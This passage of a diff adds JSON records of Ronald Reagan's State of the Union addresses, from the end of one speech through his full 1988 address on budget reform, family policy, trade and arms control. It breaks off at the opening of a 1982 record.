science,\ncommunications, in metals, and in lifesaving medicines which could be\nmanufactured only in space. We want our friends to help us meet these\nchallenges and share in their benefits. NASA will invite other countries to\nparticipate so we can strengthen peace, build prosperity, and expand\nfreedom for all who share our goals.Just as the oceans opened up a new world for clipper ships and Yankee\ntraders, space holds enormous potential for commerce today. The market for\nspace transportation could surpass our capacity to develop it. Companies\ninterested in putting payloads into space must have ready access to private\nsector launch services. The Department of Transportation will help an\nexpendable launch services industry to get off the ground. We'll soon\nimplement a number of executive initiatives, develop proposals to ease\nregulatory constraints, and, with NASA's help, promote private sector\ninvestment in space.And as we develop the frontier of space, let us remember our responsibility\nto preserve our older resources here on Earth. Preservation of our\nenvironment is not a liberal or conservative challenge, it's common sense.Though this is a time of budget constraints, I have requested for EPA one\nof the largest percentage budget increases of any agency. We will begin the\nlong, necessary effort to clean up a productive recreational area and a\nspecial national resource--the Chesapeake Bay.To reduce the threat posed by abandoned hazardous waste dumps, EPA will\nspend $410 million. And I will request a supplemental increase of 50\nmillion. And because the Superfund law expires in 1985, I've asked Bill\nRuckelshaus to develop a proposal for its extension so there'll be\nadditional time to complete this important task.On the question of acid rain, which concerns people in many areas of the\nUnited States and Canada, I'm proposing a research program that doubles our\ncurrent funding. And we'll take additional action to restore our lakes and\ndevelop new technology to reduce pollution that causes acid rain.We have greatly improved the conditions of our natural resources. We'll ask\nthe Congress for $157 million beginning in 1985 to acquire new park and\nconservation lands. The Department of the Interior will encourage careful,\nselective exploration and production on our vital resources in an Exclusive\nEconomic Zone within the 200-mile limit off our coasts--but with strict\nadherence to environmental laws and with fuller State and public\nparticipation.But our most precious resources, our greatest hope for the future, are the\nminds and hearts of our people, especially our children. We can help them\nbuild tomorrow by strengthening our community of shared values. This must\nbe our third great goal. For us, faith, work, family, neighborhood,\nfreedom, and peace are not just words; they're expressions of what America\nmeans, definitions of what makes us a good and loving people.Families stand at the center of our society. And every family has a\npersonal stake in promoting excellence in education. Excellence does not\nbegin in Washington. A 600-percent increase in Federal spending on\neducation between 1960 and 1980 was accompanied by a steady decline in\nScholastic Aptitude Test scores. Excellence must begin in our homes and\nneighborhood schools, where it's the responsibility of every parent and\nteacher and the right of every child.Our children come first, and that's why I established a bipartisan National\nCommission on Excellence in Education, to help us chart a commonsense\ncourse for better education. And already, communities are implementing the\nCommission's recommendations. Schools are reporting progress in math and\nreading skills. But we must do more to restore discipline to schools; and\nwe must encourage the teaching of new basics, reward teachers of merit,\nenforce tougher standards, and put our parents back in charge.I will continue to press for tuition tax credits to expand opportunities\nfor families and to soften the double payment for those paying public\nschool taxes and private school tuition. Our proposal would target\nassistance to low- and middle-income families. Just as more incentives are\nneeded within our schools, greater competition is needed among our schools.\nWithout standards and competition, there can be no champions, no records\nbroken, no excellence in education or any other walk of life.And while I'm on this subject, each day your Members observe a 200-year-old\ntradition meant to signify America is one nation under God. I must ask: If\nyou can begin your day with a member of the clergy standing right here\nleading you in prayer, then why can't freedom to acknowledge God be enjoyed\nagain by children in every schoolroom across this land?America was founded by people who believed that God was their rock of\nsafety. He is ours. I recognize we must be cautious in claiming that God is\non our side, but I think it's all right to keep asking if we're on His\nside.During our first 3 years, we have joined bipartisan efforts to restore\nprotection of the law to unborn children. Now, I know this issue is very\ncontroversial. But unless and until it can be proven that an unborn child\nis not a living human being, can we justify assuming without proof that it\nisn't? No one has yet offered such proof; indeed, all the evidence is to\nthe contrary. We should rise above bitterness and reproach, and if\nAmericans could come together in a spirit of understanding and helping,\nthen we could find positive solutions to the tragedy of abortion.Economic recovery, better education, rededication to values, all show the\nspirit of renewal gaining the upper hand. And all will improve family life\nin the eighties. But families need more. They need assurance that they and\ntheir loved ones can walk the streets of America without being afraid.\nParents need to know their children will not be victims of child\npornography and abduction. This year we will intensify our drive against\nthese and other horrible crimes like sexual abuse and family violence.Already our efforts to crack down on career criminals, organized crime,\ndrugpushers, and to enforce tougher sentences and paroles are having\neffect. In 1982 the crime rate dropped by 4.3 percent, the biggest decline\nsince 1972. Protecting victims is just as important as safeguarding the\nrights of defendants.Opportunities for all Americans will increase if we move forward in fair\nhousing and work to ensure women's rights, provide for equitable treatment\nin pension benefits and Individual Retirement Accounts, facilitate child\ncare, and enforce delinquent parent support payments.It's not just the home but the workplace and community that sustain our\nvalues and shape our future. So, I ask your help in assisting more\ncommunities to break the bondage of dependency. Help us to free enterprise\nby permitting debate and voting \"yes\" on our proposal for enterprise zones\nin America. This has been before you for 2 years. Its passage can help\nhigh-unemployment areas by creating jobs and restoring neighborhoods.A society bursting with opportunities, reaching for its future with\nconfidence, sustained by faith, fair play, and a conviction that good and\ncourageous people will flourish when they're free--these are the secrets of\na strong and prosperous America at peace with itself and the world.A lasting and meaningful peace is our fourth great goal. It is our highest\naspiration. And our record is clear: Americans resort to force only when we\nmust. We have never been aggressors. We have always struggled to defend\nfreedom and democracy.We have no territorial ambitions. We occupy no countries. We build no walls\nto lock people in. Americans build the future. And our vision of a better\nlife for farmers, merchants, and working people, from the Americas to Asia,\nbegins with a simple premise: The future is best decided by ballots, not\nbullets.Governments which rest upon the consent of the governed do not wage war on\ntheir neighbors. Only when people are given a personal stake in deciding\ntheir own destiny, benefiting from their own risks, do they create\nsocieties that are prosperous, progressive, and free. Tonight, it is\ndemocracies that offer hope by feeding the hungry, prolonging life, and\neliminating drudgery.When it comes to keeping America strong, free, and at peace, there should\nbe no Republicans or Democrats, just patriotic Americans. We can decide the\ntough issues not by who is right, but by what is right.Together, we can continue to advance our agenda for peace. We can establish\na more stable basis for peaceful relations with the Soviet Union;\nstrengthen allied relations across the board; achieve real and equitable\nreductions in the levels of nuclear arms; reinforce our peacemaking efforts\nin the Middle East, Central America, and southern Africa; or assist\ndeveloping countries, particularly our neighbors in the Western Hemisphere;\nand assist in the development of democratic institutions throughout the\nworld.The wisdom of our bipartisan cooperation was seen in the work of the\nScowcroft commission, which strengthened our ability to deter war and\nprotect peace. In that same spirit, I urge you to move forward with the\nHenry Jackson plan to implement the recommendations of the Bipartisan\nCommission on Central America.Your joint resolution on the multinational peacekeeping force in Lebanon is\nalso serving the cause of peace. We are making progress in Lebanon. For\nnearly 10 years, the Lebanese have lived from tragedy to tragedy with no\nhope for their future. Now the multinational peacekeeping force and our\nmarines are helping them break their cycle of despair. There is hope for a\nfree, independent, and sovereign Lebanon. We must have the courage to give\npeace a chance. And we must not be driven from our objectives for peace in\nLebanon by state-sponsored terrorism. We have seen this ugly specter in\nBeirut, Kuwait, and Rangoon. It demands international attention. I will\nforward shortly legislative proposals to help combat terrorism. And I will\nbe seeking support from our allies for concerted action.Our NATO alliance is strong. 1983 was a banner year for political courage.\nAnd we have strengthened our partnerships and our friendships in the Far\nEast. We're committed to dialog, deterrence, and promoting prosperity.\nWe'll work with our trading partners for a new round of negotiations in\nsupport of freer world trade, greater competition, and more open markets.A rebirth of bipartisan cooperation, of economic growth, and military\ndeterrence, and a growing spirit of unity among our people at home and our\nallies abroad underline a fundamental and far-reaching change: The United\nStates is safer, stronger, and more secure in 1984 than before. We can now\nmove with confidence to seize the opportunities for peace, and we will.Tonight, I want to speak to the people of the Soviet Union, to tell them\nit's true that our governments have had serious differences, but our sons\nand daughters have never fought each other in war. And if we Americans have\nour way, they never will.People of the Soviet Union, there is only one sane policy, for your country\nand mine, to preserve our civilization in this modern age: A nuclear war\ncannot be won and must never be fought. The only value in our two nations\npossessing nuclear weapons is to make sure they will never be used. But\nthen would it not be better to do away with them entirely?People of the Soviet, President Dwight Eisenhower, who fought by your side\nin World War II, said the essential struggle \"is not merely man against man\nor nation against nation. It is man against war.\" Americans are people of\npeace. If your government wants peace, there will be peace. We can come\ntogether in faith and friendship to build a safer and far better world for\nour children and our children's children. And the whole world will rejoice.\nThat is my message to you.Some days when life seems hard and we reach out for values to sustain us or\na friend to help us, we find a person who reminds us what it means to be\nAmericans.Sergeant Stephen Trujillo, a medic in the 2d Ranger Battalion, 75th\nInfantry, was in the first helicopter to land at the compound held by Cuban\nforces in Grenada. He saw three other helicopters crash. Despite the\nimminent explosion of the burning aircraft, he never hesitated. He ran\nacross 25 yards of open terrain through enemy fire to rescue wounded\nsoldiers. He directed two other medics, administered first aid, and\nreturned again and again to the crash site to carry his wounded friends to\nsafety.Sergeant Trujillo, you and your fellow service men and women not only saved\ninnocent lives; you set a nation free. You inspire us as a force for\nfreedom, not for despotism; and, yes, for peace, not conquest. God bless\nyou.And then there are unsung heroes: single parents, couples, church and civic\nvolunteers. Their hearts carry without complaint the pains of family and\ncommunity problems. They soothe our sorrow, heal our wounds, calm our\nfears, and share our joy.A person like Father Ritter is always there. His Covenant House programs in\nNew York and Houston provide shelter and help to thousands of frightened\nand abused children each year. The same is true of Dr. Charles Carson.\nParalyzed in a plane crash, he still believed nothing is impossible. Today\nin Minnesota, he works 80 hours a week without pay, helping pioneer the\nfield of computer-controlled walking. He has given hope to 500,000\nparalyzed Americans that some day they may walk again.How can we not believe in the greatness of America? How can we not do what\nis right and needed to preserve this last best hope of man on Earth? After\nall our struggles to restore America, to revive confidence in our country,\nhope for our future, after all our hard-won victories earned through the\npatience and courage of every citizen, we cannot, must not, and will not\nturn back. We will finish our job. How could we do less? We're Americans.Carl Sandburg said, \"I see America not in the setting sun of a black night\nof despair... I see America in the crimson light of a rising sun fresh\nfrom the burning, creative hand of God... I see great days ahead for men\nand women of will and vision.\"I've never felt more strongly that America's best days and democracy's best\ndays lie ahead. We're a powerful force for good. With faith and courage, we\ncan perform great deeds and take freedom's next step. And we will. We will\ncarry on the tradition of a good and worthy people who have brought light\nwhere there was darkness, warmth where there was cold, medicine where there\nwas disease, food where there was hunger, and peace where there was only\nbloodshed.Let us be sure that those who come after will say of us in our time, that\nin our time we did everything that could be done. We finished the race; we\nkept them free; we kept the faith.Thank you very much. God bless you, and God bless America.NOTE: The President spoke at 9:02 p.m. in the House Chamber of the Capitol.\nHe was introduced by Thomas P. O'Neill, Jr., Speaker of the House of\nRepresentatives. The address was broadcast live on nationwide radio and\ntelevision.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "January 25, 1988", 
+    "speech": "Mr. Speaker, Mr. President, and distinguished Members of the House and\nSenate: When we first met here 7 years ago--many of us for the first\ntime--it was with the hope of beginning something new for America. We meet\nhere tonight in this historic Chamber to continue that work. If anyone\nexpects just a proud recitation of the accomplishments of my\nadministration, I say let's leave that to history; we're not finished yet.\nSo, my message to you tonight is put on your work shoes; we're still on the\njob.History records the power of the ideas that brought us here those 7 years\nago--ideas like the individual's right to reach as far and as high as his or\nher talents will permit; the free market as an engine of economic progress.\nAnd as an ancient Chinese philosopher, Lao-tzu, said: \"Govern a great\nnation as you would cook a small fish; do not overdo it.\" Well, these ideas\nwere part of a larger notion, a vision, if you will, of America\nherself--an America not only rich in opportunity for the individual but an\nAmerica, too, of strong families and vibrant neighborhoods; an America\nwhose divergent but harmonizing communities were a reflection of a deeper\ncommunity of values: the value of work, of family, of religion, and of the\nlove of freedom that God places in each of us and whose defense He has\nentrusted in a special way to this nation.All of this was made possible by an idea I spoke of when Mr. Gorbachev was\nhere--the belief that the most exciting revolution ever known to humankind\nbegan with three simple words: \"We the People,\" the revolutionary notion\nthat the people grant government its rights, and not the other way around.\nAnd there's one lesson that has come home powerfully to me, which I would\noffer to you now. Just as those who created this Republic pledged to each\nother their lives, their fortunes, and their sacred honor, so, too,\nAmerica's leaders today must pledge to each other that we will keep\nforemost in our hearts and minds not what is best for ourselves or for our\nparty but what is best for America.In the spirit of Jefferson, let us affirm that in this Chamber tonight\nthere are no Republicans, no Democrats--just Americans. Yes, we will have\nour differences, but let us always remember what unites us far outweighs\nwhatever divides us. Those who sent us here to serve them--the millions of\nAmericans watching and listening tonight--expect this of us. Let's prove to\nthem and to ourselves that democracy works even in an election year. We've\ndone this before. And as we have worked together to bring down spending,\ntax rates, and inflation, employment has climbed to record heights; America\nhas created more jobs and better, higher paying jobs; family income has\nrisen for 4 straight years, and America's poor climbed out of poverty at\nthe fastest rate in more than 10 years.Our record is not just the longest peacetime expansion in history but an\neconomic and social revolution of hope based on work, incentives, growth,\nand opportunity; a revolution of compassion that led to private sector\ninitiatives and a 77-percent increase in charitable giving; a revolution\nthat at a critical moment in world history reclaimed and restored the\nAmerican dream.In international relations, too, there's only one description for what,\ntogether, we have achieved: a complete turnabout, a revolution. Seven years\nago, America was weak, and freedom everywhere was under siege. Today\nAmerica is strong, and democracy is everywhere on the move. From Central\nAmerica to East Asia, ideas like free markets and democratic reforms and\nhuman rights are taking hold. We've replaced \"Blame America\" with \"Look up\nto America.\" We've rebuilt our defenses. And of all our accomplishments,\nnone can give us more satisfaction than knowing that our young people are\nagain proud to wear our country's uniform.And in a few moments, I'm going to talk about three developments--arms\nreduction, the Strategic Defense Initiative, and the global democratic\nrevolution--that, when taken together, offer a chance none of us would have\ndared imagine 7 years ago, a chance to rid the world of the two great\nnightmares of the postwar era. I speak of the startling hope of giving our\nchildren a future free of both totalitarianism and nuclear terror.Tonight, then, we're strong, prosperous, at peace, and we are free. This is\nthe state of our Union. And if we will work together this year, I believe\nwe can give a future President and a future Congress the chance to make\nthat prosperity, that peace, that freedom not just the state of our Union\nbut the state of our world.Toward this end, we have four basic objectives tonight. First, steps we can\ntake this year to keep our economy strong and growing, to give our children\na future of low inflation and full employment. Second, let's check our\nprogress in attacking social problems, where important gains have been\nmade, but which still need critical attention. I mean schools that work,\neconomic independence for the poor, restoring respect for family life and\nfamily values. Our third objective tonight is global: continuing the\nexciting economic and democratic revolutions we've seen around the world.\nFourth and finally, our nation has remained at peace for nearly a decade\nand a half, as we move toward our goals of world prosperity and world\nfreedom. We must protect that peace and deter war by making sure the next\nPresident inherits what you and I have a moral obligation to give that\nPresident: a national security that is unassailable and a national defense\nthat takes full advantage of new technology and is fully funded.This is a full agenda. It's meant to be. You see, my thinking on the next\nyear is quite simple: Let's make this the best of 8. And that means it's\nall out--right to the finish line. I don't buy the idea that this is the\nlast year of anything, because we're not talking here tonight about\nregistering temporary gains but ways of making permanent our successes. And\nthat's why our focus is the values, the principles, and ideas that made\nAmerica great. Let's be clear on this point. We're for limited government,\nbecause we understand, as the Founding Fathers did, that it is the best way\nof ensuring personal liberty and empowering the individual so that every\nAmerican of every race and region shares fully in the flowering of American\nprosperity and freedom.One other thing we Americans like--the future--like the sound of it, the\nidea of it, the hope of it. Where others fear trade and economic growth, we\nsee opportunities for creating new wealth and undreamed-of opportunities\nfor millions in our own land and beyond. Where others seek to throw up\nbarriers, we seek to bring them down. Where others take counsel of their\nfears, we follow our hopes. Yes, we Americans like the future and like\nmaking the most of it. Let's do that now.And let's begin by discussing how to maintain economic growth by\ncontrolling and eventually eliminating the problem of Federal deficits. We\nhave had a balanced budget only eight times in the last 57 years. For the\nfirst time in 14 years, the Federal Government spent less in real terms\nlast year than the year before. We took $73 billion off last year's deficit\ncompared to the year before. The deficit itself has moved from 6.3 percent\nof the gross national product to only 3.4 percent. And perhaps the most\nimportant sign of progress has been the change in our view of deficits. You\nknow, a few of us can remember when, not too many years ago, those who\ncreated the deficits said they would make us prosperous and not to worry\nabout the debt, because we owe it to ourselves. Well, at last there is\nagreement that we can't spend ourselves rich.Our recent budget agreement, designed to reduce Federal deficits by $76\nbillion over the next 2 years, builds on this consensus. But this agreement\nmust be adhered to without slipping into the errors of the past: more\nbroken promises and more unchecked spending. As I indicated in my first\nState of the Union, what ails us can be simply put: The Federal Government\nis too big, and it spends too much money. I can assure you, the bipartisan\nleadership of Congress, of my help in fighting off any attempt to bust our\nbudget agreement. And this includes the swift and certain use of the veto\npower.Now, it's also time for some plain talk about the most immediate obstacle\nto controlling Federal deficits. The simple but frustrating problem of\nmaking expenses match revenues--something American families do and the\nFederal Government can't--has caused crisis after crisis in this city. Mr.\nSpeaker, Mr. President, I will say to you tonight what I have said before\nand will continue to say: The budget process has broken down; it needs a\ndrastic overhaul. With each ensuing year, the spectacle before the American\npeople is the same as it was this Christmas: budget deadlines delayed or\nmissed completely, monstrous continuing resolutions that pack hundreds of\nbillions of dollars worth of spending into one bill, and a Federal\nGovernment on the brink of default.I know I'm echoing what you here in the Congress have said, because you\nsuffered so directly. But let's recall that in 7 years, of 91\nappropriations bills scheduled to arrive on my desk by a certain date, only\n10 made it on time. Last year, of the 13 appropriations bills due by\nOctober 1st, none of them made it. Instead, we had four continuing\nresolutions lasting 41 days, then 36 days, and 2 days, and 3 days,\nrespectively.And then, along came these behemoths. This is the conference report--1,053\npages, report weighing 14 pounds. Then this--a reconciliation bill 6 months\nlate that was 1,186 pages long, weighing 15 pounds. And the long-term\ncontinuing resolution--this one was 2 months late, and it's 1,057 pages\nlong, weighing 14 pounds. That was a total of 43 pounds of paper and ink.\nYou had 3 hours--yes, 3 hours--to consider each, and it took 300 people at\nmy Office of Management and Budget just to read the bill so the Government\nwouldn't shut down. Congress shouldn't send another one of these. No, and\nif you do, I will not sign it.Let's change all this. Instead of a Presidential budget that gets discarded\nand a congressional budget resolution that is not enforced, why not a\nsimple partnership, a joint agreement that sets out the spending priorities\nwithin the available revenues? And let's remember our deadline is October\n1st, not Christmas. Let's get the people's work done in time to avoid a\nfootrace with Santa Claus. And, yes, this year--to coin a phrase--a new\nbeginning: 13 individual bills, on time and fully reviewed by Congress.I'm also certain you join me in saying: Let's help ensure our future of\nprosperity by giving the President a tool that, though I will not get to\nuse it, is one I know future Presidents of either party must have. Give the\nPresident the same authority that 43 Governors use in their States: the\nright to reach into massive appropriation bills, pare away the waste, and\nenforce budget discipline. Let's approve the line-item veto.And let's take a partial step in this direction. Most of you in this\nChamber didn't know what was in this catchall bill and report. Over the\npast few weeks, we've all learned what was tucked away behind a little\ncomma here and there. For example, there's millions for items such as\ncranberry research, blueberry research, the study of crawfish, and the\ncommercialization of wildflowers. And that's not to mention the five or so\nmillion ($.5 million) that--so that people from developing nations could\ncome here to watch Congress at work. I won't even touch that. So, tonight I\noffer you this challenge. In 30 days I will send back to you those items as\nrescissions, which if I had the authority to line them out I would do so.Now, review this multibillion-dollar package that will not undercut our\nbipartisan budget agreement. As a matter of fact, if adopted, it will\nimprove our deficit reduction goals. And what an example we can set, that\nwe're serious about getting our financial accounts in order. By acting and\napproving this plan, you have the opportunity to override a congressional\nprocess that is out of control.There is another vital reform. Yes, Gramm-Rudman-Hollings has been\nprofoundly helpful, but let us take its goal of a balanced budget and make\nit permanent. Let us do now what so many States do to hold down spending\nand what 32 State legislatures have asked us to do. Let us heed the wishes\nof an overwhelming plurality of Americans and pass a constitutional\namendment that mandates a balanced budget and forces the Federal Government\nto live within its means. Reform of the budget process--including the\nline-item veto and balanced budget amendment--will, together with real\nrestraint on government spending, prevent the Federal budget from ever\nagain ravaging the family budget.Let's ensure that the Federal Government never again legislates against the\nfamily and the home. Last September 1 signed an Executive order on the\nfamily requiring that every department and agency review its activities in\nlight of seven standards designed to promote and not harm the family. But\nlet us make certain that the family is always at the center of the public\npolicy process not just in this administration but in all future\nadministrations. It's time for Congress to consider, at the beginning, a\nstatement of the impact that legislation will have on the basic unit of\nAmerican society, the family.And speaking of the family, let's turn to a matter on the mind of every\nAmerican parent tonight: education. We all know the sorry story of the\nsixties and seventies--soaring spending, plummeting test scores--and that\nhopeful trend of the eighties, when we replaced an obsession with dollars\nwith a commitment to quality, and test scores started back up. There's a\nlesson here that we all should write on the blackboard a hundred times: In\na child's education, money can never take the place of basics like\ndiscipline, hard work, and, yes, homework.As a nation we do, of course, spend heavily on education--more than we\nspend on defense. Yet across our country, Governors like New Jersey's Tom\nKean are giving classroom demonstrations that how we spend is as important\nas how much we spend. Opening up the teaching profession to all qualified\ncandidates, merit pay--so that good teachers get A's as well as apples--and\nstronger curriculum, as Secretary Bennett has proposed for high\nschools--these imaginative reforms are making common sense the most popular\nnew kid in America's schools. How can we help? Well, we can talk about and\npush for these reforms. But the most important thing we can do is to\nreaffirm that control of our schools belongs to the States, local\ncommunities and, most of all, to the parents and teachers.My friends, some years ago, the Federal Government declared war on poverty,\nand poverty won. Today the Federal Government has 59 major welfare programs\nand spends more than $100 billion a year on them. What has all this money\ndone? Well, too often it has only made poverty harder to escape. Federal\nwelfare programs have created a massive social problem. With the best of\nintentions, government created a poverty trap that wreaks havoc on the very\nsupport system the poor need most to lift themselves out of poverty: the\nfamily. Dependency has become the one enduring heirloom, passed from one\ngeneration to the next, of too many fragmented families.It is time--this may be the most radical thing I've said in 7 years in this\noffice--it's time for Washington to show a little humility. There are a\nthousand sparks of genius in 50 States and a thousand communities around\nthe Nation. It is time to nurture them and see which ones can catch fire\nand become guiding lights. States have begun to show us the way. They've\ndemonstrated that successful welfare programs can be built around more\neffective child support enforcement practices and innovative programs\nrequiring welfare recipients to work or prepare for work. Let us give the\nStates more flexibility and encourage more reforms. Let's start making our\nwelfare system the first rung on America's ladder of opportunity, a boost\nup from dependency, not a graveyard but a birthplace of hope.And now let me turn to three other matters vital to family values and the\nquality of family life. The first is an untold American success story.\nRecently, we released our annual survey of what graduating high school\nseniors have to say about drugs. Cocaine use is declining, and marijuana\nuse was the lowest since surveying began. We can be proud that our students\nare just saying no to drugs. But let us remember what this menace requires:\ncommitment from every part of America and every single American, a\ncommitment to a drugfree America. The war against drugs is a war of\nindividual battles, a crusade with many heroes, including America's young\npeople and also someone very special to me. She has helped so many of our\nyoung people to say no to drugs. Nancy, much credit belongs to you, and I\nwant to express to you your husband's pride and your country's thanks.'.\nSurprised you, didn't I?Well, now we come to a family issue that we must have the courage to\nconfront. Tonight, I call America--a good nation, a moral people--to\ncharitable but realistic consideration of the terrible cost of abortion on\ndemand. To those who say this violates a woman's right to control of her\nown body: Can they deny that now medical evidence confirms the unborn child\nis a living human being entitled to life, liberty, and the pursuit of\nhappiness? Let us unite as a nation and protect the unborn with legislation\nthat would stop all Federal funding for abortion and with a human life\namendment making, of course, an exception where the unborn child threatens\nthe life of the mother. Our Judeo-Christian tradition recognizes the right\nof taking a life in self-defense. But with that one exception, let us look\nto those others in our land who cry out for children to adopt. I pledge to\nyou tonight I will work to remove barriers to adoption and extend full\nsharing in family life to millions of Americans so that children who need\nhomes can be welcomed to families who want them and love them.And let me add here: So many of our greatest statesmen have reminded us\nthat spiritual values alone are essential to our nation's health and vigor.\nThe Congress opens its proceedings each day, as does the Supreme Court,\nwith an acknowledgment of the Supreme Being. Yet we are denied the right to\nset aside in our schools a moment each day for those who wish to pray. I\nbelieve Congress should pass our school prayer amendment.Now, to make sure there is a full nine member Supreme Court to interpret\nthe law, to protect the rights of all Americans, I urge the Senate to move\nquickly and decisively in confirming Judge Anthony Kennedy to the highest\nCourt in the land and to also confirm 27 nominees now waiting to fill\nvacancies in the Federal judiciary.Here then are our domestic priorities. Yet if the Congress and the\nadministration work together, even greater opportunities lie ahead to\nexpand a growing world economy, to continue to reduce the threat of nuclear\narms, and to extend the frontiers of freedom and the growth of democratic\ninstitutions.Our policies consistently received the strongest support of the late\nCongressman Dan Daniel of Virginia. I'm sure all of you join me in\nexpressing heartfelt condolences on his passing.One of the greatest contributions the United States can make to the world\nis to promote freedom as the key to economic growth. A creative,\ncompetitive America is the answer to a changing world, not trade wars that\nwould close doors, create greater barriers, and destroy millions of jobs.\nWe should always remember: Protectionism is destructionism. America's jobs,\nAmerica's growth, America's future depend on trade--trade that is free,\nopen, and fair.This year, we have it within our power to take a major step toward a\ngrowing global economy and an expanding cycle of prosperity that reaches to\nall the free nations of this Earth. I'm speaking of the historic free trade\nagreement negotiated between our country and Canada. And I can also tell\nyou that we're determined to expand this concept, south as well as north.\nNext month I will be traveling to Mexico, where trade matters will be of\nforemost concern. And over the next several months, our Congress and the\nCanadian Parliament can make the start of such a North American accord a\nreality. Our goal must be a day when the free flow of trade, from the tip\nof Tierra del Fuego to the Arctic Circle, unites the people of the Western\nHemisphere in a bond of mutually beneficial exchange, when all borders\nbecome what the U.S.-Canadian border so long has been: a meeting place\nrather than a dividing line.This movement we see in so many places toward economic freedom is\nindivisible from the worldwide movement toward political freedom and\nagainst totalitarian rule. This global democratic revolution has removed\nthe specter, so frightening a decade ago, of democracy doomed to permanent\nminority status in the world. In South and Central America, only a third of\nthe people enjoyed democratic rule in 1976. Today over 90 percent of Latin\nAmericans live in nations committed to democratic principles. And the\nresurgence of democracy is owed to these courageous people on almost every\ncontinent who have struggled to take control of their own destiny.In Nicaragua the struggle has extra meaning, because that nation is so near\nour own borders. The recent revelations of a former high-level Sandinista\nmajor, Roger Miranda, show us that, even as they talk peace, the Communist\nSandinista government of Nicaragua has established plans for a large\n600,000-man army. Yet even as these plans are made, the Sandinista regime\nknows the tide is turning, and the cause of Nicaraguan freedom is riding at\nits crest. Because of the freedom fighters, who are resisting Communist\nrule, the Sandinistas have been forced to extend some democratic rights,\nnegotiate with church authorities, and release a few political prisoners.The focus is on the Sandinistas, their promises and their actions. There is\na consensus among the four Central American democratic Presidents that the\nSandinistas have not complied with the plan to bring peace and democracy to\nall of Central America. The Sandinistas again have promised reforms. Their\nchallenge is to take irreversible steps toward democracy. On Wednesday my\nrequest to sustain the freedom fighters will be submitted, which reflects\nour mutual desire for peace, freedom, and democracy in Nicaragua. I ask\nCongress to pass this request. Let us be for the people of Nicaragua what\nLafayette, Pulaski, and Von Steuben were for our forefathers and the cause\nof American independence.So, too, in Afghanistan, the freedom fighters are the key to peace. We\nsupport the Mujahidin. There can be no settlement unless all Soviet troops\nare removed and the Afghan people are allowed genuine self-determination. I\nhave made my views on this matter known to Mr. Gorbachev. But not just\nNicaragua or Afghanistan--yes, everywhere we see a swelling freedom tide\nacross the world: freedom fighters rising up in Cambodia and Angola,\nfighting and dying for the same democratic liberties we hold sacred. Their\ncause is our cause: freedom.Yet even as we work to expand world freedom, we must build a safer peace\nand reduce the danger of nuclear war. But let's have no illusions. Three\nyears of steady decline in the value of our annual defense investment have\nincreased the risk of our most basic security interests, jeopardizing\nearlier hard-won goals. We must face squarely the implications of this\nnegative trend and make adequate, stable defense spending a top goal both\nthis year and in the future.This same concern applies to economic and security assistance programs as\nwell. But the resolve of America and its NATO allies has opened the way for\nunprecedented achievement in arms reduction. Our recently signed INF treaty\nis historic, because it reduces nuclear arms and establishes the most\nstringent verification regime in arms control history, including several\nforms of short-notice, on-site inspection. I submitted the treaty today,\nand I urge the Senate to give its advice and consent to ratification of\nthis landmark agreement. Thank you very much.In addition to the INF treaty, we're within reach of an even more\nsignificant START agreement that will reduce U.S. and Soviet long-range\nmissile--or strategic arsenals by half. But let me be clear. Our approach\nis not to seek agreement for agreement's sake but to settle only for\nagreements that truly enhance our national security and that of our allies.\nWe will never put our security at risk--or that of our allies--just to reach\nan agreement with the Soviets. No agreement is better than a bad\nagreement.As I mentioned earlier, our efforts are to give future generations what we\nnever had--a future free of nuclear terror. Reduction of strategic\noffensive arms is one step, SDI another. Our funding request for our\nStrategic Defense Initiative is less than 2 percent of the total defense\nbudget. SDI funding is money wisely appropriated and money well spent. SDI\nhas the same purpose and supports the same goals of arms reduction. It\nreduces the risk of war and the threat of nuclear weapons to all mankind.\nStrategic defenses that threaten no one could offer the world a safer, more\nstable basis for deterrence. We must also remember that SDI is our\ninsurance policy against a nuclear accident, a Chernobyl of the sky, or an\naccidental launch or some madman who might come along.We've seen such changes in the world in 7 years. As totalitarianism\nstruggles to avoid being overwhelmed by the forces of economic advance and\nthe aspiration for human freedom, it is the free nations that are resilient\nand resurgent. As the global democratic revolution has put totalitarianism\non the defensive, we have left behind the days of retreat. America is again\na vigorous leader of the free world, a nation that acts decisively and\nfirmly in the furtherance of her principles and vital interests. No legacy\nwould make me more proud than leaving in place a bipartisan consensus for\nthe cause of world freedom, a consensus that prevents a paralysis of\nAmerican power from ever occurring again.But my thoughts tonight go beyond this, and I hope you'll let me end this\nevening with a personal reflection. You know, the world could never be\nquite the same again after Jacob Shallus, a trustworthy and dependable\nclerk of the Pennsylvania General Assembly, took his pen and engrossed\nthose words about representative government in the preamble of our\nConstitution. And in a quiet but final way, the course of human events was\nforever altered when, on a ridge overlooking the Emmitsburg Pike in an\nobscure Pennsylvania town called Gettysburg, Lincoln spoke of our duty to\ngovernment of and by the people and never letting it perish from the\nEarth.At the start of this decade, I suggested that we live in equally momentous\ntimes, that it is up to us now to decide whether our form of government\nwould endure and whether history still had a place of greatness for a\nquiet, pleasant, greening land called America. Not everything has been made\nperfect in 7 years, nor will it be made perfect in seven times 70 years,\nbut before us, this year and beyond, are great prospects for the cause of\npeace and world freedom.It means, too, that the young Americans I spoke of 7 years ago, as well as\nthose who might be coming along the Virginia or Maryland shores this night\nand seeing for the first time the lights of this Capital City--the lights\nthat cast their glow on our great halls of government and the monuments to\nthe memory of our great men--it means those young Americans will find a\ncity of hope in a land that is free.We can be proud that for them and for us, as those lights along the Potomac\nare still seen this night signaling as they have for nearly two centuries\nand as we pray God they always will, that another generation of Americans\nhas protected and passed on lovingly this place called America, this\nshining city on a hill, this government of, by, and for the people.Thank you, and God bless you.NOTE: The President spoke at 9:07 p.m. in the House Chamber of the Capitol.\nHe was introduced by Jim Wright, Speaker of the House of Representatives.\nThe address was broadcast live on nationwide radio and television.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "January 26, 1982", 
